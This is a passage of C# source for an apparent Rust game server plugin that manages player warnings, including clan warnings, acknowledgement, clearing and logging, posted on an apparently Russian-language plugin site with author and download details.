                    steamid = long.Parse(targetplayer.Id), serverName = server.Name, serverIp = server.Address, reason = reason, created = DateTime.Now.ToString("yyyy/MM/dd HH:mm"), banUntil = DateTime.Now.Add(duration)
                }
                );
            }
            if (config.Autoban.ClearWarningsOnBan) {
                ClearPlayerWarnings(targetplayer, "AutoBan");
            }
        }
        void WarnClan(string clanTag, IPlayer adminPlayer, string reason) {
            var clan = GetClan(clanTag, adminPlayer);
            if (clan == null) {
                return;
            }
            foreach(var member in clan["members"]) {
                IPlayer foundPlayer = players.FindPlayerById(member.ToString());
                if (foundPlayer == null) {
                    adminPlayer.Reply($"Could not find clan member with ID {member.ToString()}");
                    return;
                }
                WarnPlayer(foundPlayer, adminPlayer, reason);
            }
        }
        void WarnAcknowledge(ulong playerId, int warnId) {
            BasePlayer baseplayer = BasePlayer.FindByID(Convert.ToUInt64(playerId));
            var userData = GetPlayerData(playerId, baseplayer.name);
            if (userData.WarnData.ContainsKey(warnId)) {
                var warning = userData.WarnData[warnId];
                if (warning.Acknowledged == true) {
                    /*baseplayer.IPlayer.Reply("This warning has already been acknowledged");*/
                    CuiHelper.DestroyUi(baseplayer, "WarnGUI");
                }
                if (!config.System.UseGUI) {
                    UnfreezePlayer(baseplayer.IPlayer, warnId);
                    baseplayer.IPlayer.Reply(string.Format(msg("CHAT_ACKNOWLEDGE_TEXT"), warnId.ToString()));
                }
                warning.Acknowledged = true;
                userData.WarnData[warnId] = warning;
                SaveData(ref Warnings, "SmartWarnings_PlayerData", playerId.ToString());
            }
            else {
                baseplayer.IPlayer.Reply($"Warning id {warnId} does not exist and can not be acknowledged.");
                CuiHelper.DestroyUi(baseplayer, "WarnGUI");
            }
        }
        void GetPlayerWarnings(IPlayer targetPlayer, IPlayer player) {
            if(targetPlayer.IsServer) {
                player.Reply($"Usage: /warn info playerNameOrId");
                return;
            }
            var userData = GetPlayerData(Convert.ToUInt64(targetPlayer.Id), targetPlayer.Name);
            if(userData == null) {
                player.Reply($"{player.Name} does not have any warnings.");
                return;
            }
            player.Reply($"<size=14>{targetPlayer.Name}</size> has <size=16><color=#DC143C>{userData.Count}/{config.System.MaxWarnings}</color></size> warnings and <size=16><color=#DC143C>{userData.Points}</color></size> warning points.");
            foreach (KeyValuePair<int, WarningData> entry in userData.WarnData) {
                var warning = entry.Value;
                var warnId = entry.Key;
                player.Reply($"<color=#DC143C>Warning ID: {warnId}</color>\n<size=12>{warning.Reason}\n\n<color=#A9A9A9>Date Issued: {warning.WarnDate}\nExpiry Date: {warning.ExpDate}</color></size>" + (config.System.ShowWhoIssued || HasPerm(player.Id, "admin") ? $"\n<color=#A9A9A9><size=12>Issued by: {warning.WarnedBy}</color></size>" : ""));
            }
        }
        void ClearPlayerWarnings(IPlayer player, string adminName, string warnId) {
            try {
                var userData = GetPlayerData(Convert.ToUInt64(player.Id), player.Name);
                if (userData == null) {
                    player.Reply($"{player.Name} does not have any warnings.");
                    return;
                }
                if (warnId == "all") {
                    foreach(var warning in userData.WarnData) {
                        UnfreezePlayer(player, Convert.ToInt32(warning.Key));
                    }
                    userData.WarnData.Clear();
                    userData.Points = 0;
                    player.Reply($"Cleared all of {player.Name} warnings and warning points.");
                    LogToFile("log", $"{adminName} cleared all of {player.Name} warnings", this);
                }
                else if(!userData.WarnData.ContainsKey(Convert.ToInt32(warnId))) {
                    player.Reply($"{player.Name} does not have warning #{warnId}");
                }
                else {
                    player.Reply($"Cleared {player.Name} warning #{warnId}.");
                    userData.WarnData.Remove(Convert.ToInt32(warnId));
                    UnfreezePlayer(player, Convert.ToInt32(warnId));
                }
                userData.Count = userData.WarnData.Count;
                OnWarningsCleared(userData);
                SaveData(ref Warnings, "SmartWarnings_PlayerData", player.Id);
            }
            catch (Exception ex) {
                LogError($"[ClearPlayerWarnings] An unexpected error occurred while clearing {player.Id} warnings\n\n{ex}");
            }
        }
        void ClearPlayerWarnings(IPlayer player, string logreason) {
            var userData = GetPlayerData(Convert.ToUInt64(player.Id), player.Name);
            userData.WarnData.Clear();
            userData.Points = 0;
            LogToFile("log", $"{logreason} - cleared all of {player.Name} warnings", this);
            userData.Count = userData.WarnData.Count;
            OnWarningsCleared(userData, true);
            SaveData(ref Warnings, "SmartWarnings_PlayerData", player.Id);
        }
        private readonly Dictionary<string, int> queuedUnackWarnings = new Dictionary<string, int>();
        void DisplayUnAcknowledgedWarnings(IPlayer player) {
            try {
                var userData = GetPlayerData(Convert.ToUInt64(player.Id), player.Name);
                if(userData.WarnData == null) {
                    return;
                }
                if(userData.WarnData.Count < 1) {
                    return;
                }
                foreach (KeyValuePair<int, WarningData> entry in userData.WarnData) {
                    var warning = ent
// ... [Code preview truncated due to length. Full source in attached file] ...

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху